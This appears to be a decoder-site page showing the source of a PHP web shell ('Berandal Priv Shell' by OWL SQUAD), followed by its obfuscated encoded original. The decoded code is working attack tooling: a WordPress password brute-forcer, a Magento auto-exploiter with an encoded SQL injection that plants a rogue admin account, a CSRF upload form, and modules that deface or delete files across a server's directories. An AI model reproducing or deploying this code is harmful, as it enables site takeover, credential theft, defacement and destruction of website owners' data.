<input type=\'submit\' class=\'kotak\' style=\'border-color=white\' name=\'do_rename\' value=\'Rename\'>
</form><br>";
}
elseif($_GET[\'666\'] == \'csrf\') {
echo "<div style=\'text-align: left;\' class=\'mybox\'>
<h1>CSRF Exploiter Online</h1><hr color=\'white\'>
<form method=\'post\'>
URL:       <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'url\' size=\'50\' height=\'10\' placeholder=\'http://127.0.0.1/[path]/upload.php\' style=\'margin: 5px auto; padding-left: 5px;\' required><br>
POST File: <input type=\'text\' name=\'data\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' size=\'50\' height=\'10\' placeholder=\'Filedata / files[] / qqfile / userfile / dll\' style=\'margin: 5px auto; padding-left: 5px;\' required><br>
<br><input style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' class=\'kotak\' type=\'submit\' name=\'go\' value=\'Lock!\'>
</form></div>";
$url = $_POST[\'url\'];
$data = $_POST[\'data\'];
$submit = $_POST[\'go\'];
if($submit) {
echo "<br><form style=\'text-align:left\' method=\'post\' target=\'_blank\' action=\'$url\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'$data\'><input style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' type=\'submit\' name=\'ok\' class=\'kotak\' value=\'Upload\'>
</form></div>";
}
;}
elseif($_GET[\'666\'] == \'about\') {
echo "<link href=\'http://fonts.googleapis.com/css?family=Iceberg\' rel=\'stylesheet\' type=\'text/css\'>";
echo \'<Center style="color:white">
<font size="5pt" face="Iceberg"><font color="red" face="Iceberg">~</font> GREETZ <font color="red">~</font></font><br><font size="4pt">Official Member OWL SQUAD</font><br><br>and<br><br>
<font size="4pt" face="Iceberg"><font color="red" face="Iceberg">[</font><marquee width="40%">T1KUS90T - EXI2T Cyber Team - Alone Clown Security - 6host Party Coders Team - BerdendangC0de - IndoXploit Coders Team - Xai Syndicate</marquee><font color="red">]</font></font>
</center>
<br><br>Special Thanks :<br><a href="http://indoxploit.or.id" target="blank">IndoXploit Coders Team</a> - <a href="" target="blank">Con7ext [Xai Syndicate]</a>
</font>
\';
echo "<hr color=\'white\'>";
echo "Find us: <a href=\'https://facebook.com/owlsquad.id\' target=\'blank\'>Fanpage Facebook</a> - <a href=\'https://facebook.com/groups/owlsquadtoday\' target=\'blank\'>Group Facebook</a>";
}
elseif($_GET[\'666\'] == \'wpbrute\') {
set_time_limit(0);
error_reporting(0);
class berandal{
private $host;
private $user;
private $open;
private $list;
public function banner() {
echo "<div class=\'mybox\' style=\'text-align:left\'>
<h1>WordPress Brute Force</h1><hr color=\'white\'>
<form action=\'\' method=\'POST\'>
Host<input type=\'text\' name=\'host\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' placeholder=\'http://127.0.0.1/\' size=\'40\'><br><br>
User<input type=\'text\' name=\'user\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' value=\'admin\' size=\'25\'><br><br>
Wordlist:
<textarea class=\'mybox\' rows=\'10\' style=\'border-color:#292929;\' name=\'list\'></textarea><br>Need more? <a href=\'http://pastebin.com/u/berandal666\' target=\'blank\'>Click here</a>.<br>
<input type=\'Submit\' class=\'kotak\' style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' value=\'Start\'>
</form></div>
";
}
public function extract_post() {
$this->host = $_POST["host"];
$this->user = $_POST["user"];
$this->open = $_POST["list"];
}
public function Xregex() {
if(preg_match("@/wp-login.php@", $this->host)) {
return true;
} else {
$this->host = $_POST["host"]."/wp-login.php";
}
}
public function brute() {
$list = array_filter(explode("
", $this->open));
foreach($list as $this->list) {
for($i=0; $i < count($this->list); $i++) {
$this->Xcurl();
}
}
}
private function cool() {
echo "[+] Host:"."<font color=\'black\'>{$this->host}</font>";
echo " <br/>[+] User:"."<font color=\'black\'>{$this->user}</font>";
echo " <br/>[+] Pass:"."<font color=\'black\'>{$this->list}</font>";
}
private function Xcurl() {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $this->host);
curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->user&pwd=$this->list&wp-submit=Login&redirect_to=$this->host/wp-admin/");
$exec = curl_exec($curl);
$http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$this->cool();
if($http == 302) {
echo "<font color=\'lime\'> <br/>[+] Sukses! [+] Tinggal Login Aja</font><br>";
break;
} else {
echo "<font color=\'red\'><br/>[+] Ggal Jancok! -_-</font><br>";
}
curl_close($curl);
}
}
$wp = new berandal();
$wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
$wp->banner();
$wp->extract_post();
$wp->Xregex();
$wp->brute();
}
elseif($_GET[\'666\'] == \'magento\') {
echo \'<div class="mybox"><h1>Magento Auto Exploiter</h1>
<form method="post" action="">
<textarea placeholder="http://127.0.0.1/" class="mybox" rows="10" name="target" required></textarea><br><br>
<input class="kotak" type=submit name=submit value="Start"><br>
</form></div>\';
error_reporting(0);
set_time_limit(0);
function bersihkan($htmltags) {
$htmltags = str_replace(\'<span class="price">\',\'\',$htmltags);
$htmltags = str_replace(\'</span>\',\'\',$htmltags);
return $htmltags;
}
///postdata
$postadm = "filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdzdHVwaWQ0OCcpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBhc3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJywnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ3N0dXBpZCcsQFBBU1MsTk9XKCksMCwwLDEsQEVYVFJBLE5VTEwsIE5PVygpKTtJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ3N0dXBpZCcpLCdGaXJzdG5hbWUnKTs%3D&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1";
$postlog = "form_key=3ryAIBlm7bJ3naj9&login%5Busername%5D=berandal&login%5Bpassword%5D=berandal";
$postdwn = "username=berandal&password=berandal";
$pageadm = "/admin/Cms_Wysiwyg/directive/index/";
$pagelog = "/admin/";
$pagedwn = "/downloader/";
function berandal_CURL($url,$data,$page) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url.$page);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, \'cookie.txt\');
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = \'Content-Type: application/x-www-form-urlencoded\';
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
print $banner;
if(isset($_POST[\'target\'])){
$j=explode("
",$_POST[\'target\']);
foreach($j as $site){
echo\'<div class="mybox"><font color="white">\';
print "Checking, Please wait!
<br>";
echo\'</font>\';
$sikat = berandal_CURL($site , $postadm, $pageadm);
if(preg_match(\'#200 OK#\', $sikat)) {
$expres = "Success";
$ceklog = berandal_CURL($site , $postlog, $pagelog);
if(preg_match(\'#302 Moved#\', $ceklog)) {
preg_match_all(\'#<span>(.*?)</span>#si\', $ceklog, $match);
foreach($match as $val)
{
$ltm = $val[0];
$avo = $val[1];
break;
}
$admlog = "Sukses!";
$user = "berandal";
$pass = "berandal";
$cekdwn = berandal_CURL($site , $postdwn, $pagedwn);
if(preg_match(\'#Return to Admin#\', $cekdwn)) {
$dwnlog = "Login Sukses!";
}else {
$dwnlog = "Login Gagal anjg!";
}
}else {
$admlog = "Gagal!";
$user = "NULL";
$pass = "NULL";
}
}else {
$admlog = "Gagal!";
$expres = "Gagal!";
$user = "NULL";
$pass = "NULL";
$dwnlog = "Login Gagal Anjg!";
$ltm = "NULL";
$avo = "NULL";
}
///echo result
$logger = \'
<br>
<font color="white">
<h4>[ \'.$site.\' ]</h4></font><br>
Exploiting : <font color="lime">\'.$expres.\'</font><br>
Login Admin : <font color="lime">\'.$admlog.\'</font><br>
Lifetime Sales: <font color="gold">\'.bersihkan($ltm).\'</font><br>
Average Order : <font color="gold">\'.bersihkan($avo).\'</font><br>
Downloader : <font color="white">\'.$dwnlog.\'</font><br>
Username :<font color="cyan"><b> \'.$user.\'</font></b><br>
Password :<font color="cyan"><b> \'.$pass.\'</font></b><br>
</div>\';
echo $logger;
///diilangin
}
}
}
elseif($_GET[\'666\'] == \'mass_deface\') {
echo "<div class=\'mybox\'><center><form action=\"\" method=\"post\">
";
$dirr=$_POST[\'d_dir\'];
$index = $_POST["script"];
$index = str_replace(\'"\',"\'",$index);
$index = stripslashes($index);
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span style=\'color:lime;\'><strong> [+] Nyabun 100% Sukses, COk! </strong></span><br></center>";
}
else {
echo "<Span style=\'color:red;\'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
}
}
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === \'..\') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=white>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$berandal = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,\'w\');
fwrite($handle,\'\');
fwrite($handle,$index);
fclose($handle); } }
function gass(){
global $dirr , $index ;
chdir($dirr);
$me = str_replace(dirname(__FILE__).\'/\',\'\',__FILE__);
$files = scandir($dirr) ;
$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
echo "<center><Span style=\'color: #8A8A8A;\'><strong>$dirr/</span>$file</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
}
}
echo "<br>";
echo "<center><br><h3>$n Kali lu Ngecrot Disini :v</h3></center><br>";
}
function ListFiles($dirrall) {
if($dh = opendir($dirrall)) {
$files = Array();
$inner_files = Array();
$me = str_replace(dirname(__FILE__).\'/\',\'\',__FILE__);
$notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != \'.\' && !in_array($file, $notallow) ) {
if(is_dir($dirrall . "/" . $file)) {
$inner_files = ListFiles($dirrall . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dirrall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
function gass_all(){
global $index ;
$dirrall=$_POST[\'d_dir\'];
foreach (ListFiles($dirrall) as $key=>$file){
$file = str_replace(\'//\',"/",$file);
echo "<center><strong>$file</strong> ===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key Kali lu Ngecrot Disini :v</h3></center><br>"; }
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.\'/\'.$namafile;
if($dirb === \'.\') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === \'..\') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=white>Selese Cok!</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$berandal = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
if($_POST[\'mass\'] == \'onedir\') {
echo "<br> Versi Text Area<br><textarea style=\'background:black;outline:none;color:white;\' name=\'index\' rows=\'10\' cols=\'67\'>
";
$ini="http://";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){
echo"$ini$row/$file
";
}
}
echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
$mainpath=$_POST[d_dir];$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo \'<a href="http://\' . $row . \'/\' . $file . \'" target="_blank">http://\' . $row . \'/\' . $file . \'</a><br>\'; }
}
}
elseif($_POST[\'mass\'] == \'sabunkabeh\') { gass(); }
elseif($_POST[\'mass\'] == \'hapusmassal\') { hapus_massal($_POST[\'d_dir\'], $_POST[\'d_file\']); }
elseif($_POST[\'mass\'] == \'sabunmematikan\') { gass_all(); }
elseif($_POST[\'mass\'] == \'massdeface\') {
echo "<div style=\'margin: 5px auto; padding: 5px\'>";
sabun_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
echo "</div>"; }
else {
echo "
<center><h1>Mass Deface</h1><hr color=\'white\'><font style=\'text-decoration: underline;\'>
Pilih yang mana:<br>
</font>
<select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
<option value=\"onedir\">Mass Deface 1 Dir</option>
<option value=\"massdeface\">Mass Deface ALL Dir</option>
<option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
<option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
<font color=\'white\' style=\'text-decoration: underline;\'>Folder:</font><br>
<input type=\'text\' name=\'d_dir\' value=\'$dir\' style=\'width: 450px; color:white;\' height=\'10\'><br>
<font color=\'white\' style=\'text-decoration: underline;\'>Nama File:</font><br>
<input type=\'text\' name=\'d_file\' value=\'index.php\' style=\'width: 450px; color:white;\' height=\'10\'><br>
<font color=\'white\' style=\'text-decoration: underline;\'>Index File:</font><br>
<textarea name=\'script\' style=\'width: 450px; height: 200px; color:white;\'>Touched by Berandal</textarea><br>
<input type=\'submit\' class=\'kotak\' name=\'start\' value=\'Mass Deface\' style=\'width: 450px;\'>
</form></center></div>";
}
}
elseif($_GET[\'666\'] == \'phinfo\')
{@ob_start();eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class=\'mybox\'><div class=\'phpinfo\'>".substr($buff,$awal,$akhir-$awal)."</div></div>";}
elseif($_GET[\'act\'] == \'delete\') {
$delete = unlink($_GET[\'file\']);
if($delete) {
$act = "<script>window.location=\'?dir=".$dir."\';</script>";
} else {
$act = "<font color=red>Gak dibolehin, Jancok!</font>";
}
echo $act;
}else {
if(is_dir($dir) == true) {
echo \'<div class="mybox"><table width="100%" class="table_home" border="1" cellpadding="3" cellspacing="1" align="center">
<tr>
<th style="min-width:150px;" class="th_home"><center>Name</center></th>
<th class="th_home"><center>Type</center></th>
<th style="width:74px;min-width:74px;" class="th_home"><center>Size</center></th>
<th style="width:150px;min-width:150px;" class="th_home"><center>Modified</center></th>
<th style="width:80px;min-width:80px;" class="th_home"><center>Perms</center></th>
<th style="width:200px;min-width:200px;" class="th_home"><center>Action</center></th>
</tr>\';
$scandir = scandir($dir);
foreach($scandir as $dirx) {
$dtype = filetype("$dir/$dirx");
$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
if(!is_dir("$dir/$dirx")) continue;
if($dirx === \'..\') {
$href = "<a href=\'?dir=".dirname($dir)."\'>$dirx</a>";
} elseif($dirx === \'.\') {
$href = "<a href=\'?dir=$dir\'>$dirx</a>";
} else {
$href = "<a href=\'?dir=$dir/$dirx\'>$dirx</a>";
}
if($dirx === \'.\' || $dirx === \'..\') {
$act_dir = "<a href=\'?act=newfile&dir=$dir\'>+file</a> <font color=\'white\'>|</font> <a href=\'?act=newfolder&dir=$dir\'>+dir</a>";
} else {
$act_dir = "<a href=\'?&dir=$dir/$dirx\'>view</a>  | <a href=\'?act=rename_dir&dir=$dir/$dirx\'>ren</a><font color=\'white\'>  |</font> <a href=\'?dir=$dir&666=upload\'>upl</a><font color=\'white\'> |</font> <a href=\'?act=delete_dir&dir=$dir/$dirx\'>del</a> | <a href=\'?act=download_dir&dir=$dir/$dirx\'>dl</a>";
}
echo "<tr>";
echo "<td class=\'td_home\'><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==\'>$href</td>";
echo "<td class=\'td_home\'><center>$dtype</center></td>";
echo "<td class=\'td_home\'><center>-</center></th>";
echo "<td class=\'td_home\'><center>$dtime</center></td>";
echo "<td class=\'td_home\'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
echo "<td class=\'td_home\' style=\'padding-left: 15px;\'>$act_dir</td>";
}
echo "</tr>";
foreach($scandir as $file) {
$ftype = filetype("$dir/$file");
$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
$size = filesize("$dir/$file")/1024;
$size = round($size,3);
if($size > 1024) {
$size = round($size/1024,2). \'MB\';
} else {
$size = $size. \'KB\';
}
if(!is_file("$dir/$file")) continue;
echo "<tr>";
echo "<td style=\'min-width:150px;\' class=\'td_home\'><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'><a href=\'?act=view&dir=$dir&file=$dir/$file\'>$file</a></td>";
echo "<td style=\'width:74px;min-width:74px;\' class=\'td_home\'><center>$ftype</center></td>";
echo "<td class=\'td_home\'><center>$size</center></td>";
echo "<td class=\'td_home\'><center>$ftime</center></td>";
echo "<td class=\'td_home\'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
echo "<td class=\'td_home\' style=\'padding-left: 15px;\'><a href=\'?act=view&dir=$dir&file=$dir/$file\'>view</a>  | <a href=\'?act=edit&dir=$dir&file=$dir/$file\'>edit</a><font color=\'white\'> |</font> <a href=\'?act=rename&dir=$dir&file=$dir/$file\'>ren</a> <font color=\'white\'>|</font> <a href=\'?act=delete&dir=$dir&file=$dir/$file\'>del</a> <font color=\'white\'>|</font> <a href=\'?act=download&dir=$dir&file=$dir/$file\'>dl</a></td>";
}
echo "</tr></table></div>";
} else {
echo "<font color=red>Gabisa buka directory :(</font>";
}
}
echo "<center>
<hr color=\'white\'>Copyright © ".date("Y")." - <a href=\'https://www.facebook.com/owlsquad.id\' target=\'blank\'><font color=\'white\'>OWL SQUAD</font></a> | Code by <a href=\'https://www.twitter.com/id_berandal\' target=\'_blank\'><font color=white>Berandal</font></a></center>";
?>'
Did this file decode correctly?
Original Code
<?php
/*
/*
+--------------------------------------------+
Name : Berandal Priv Shell
Link : http://facebook.com/owlsquad.id
Link : http://pastebin.com/u/shor7cut
link : http://twitter.com/id_berandal
Author : Berandal
+--------------------------------------------+
*/
$owlsquad = "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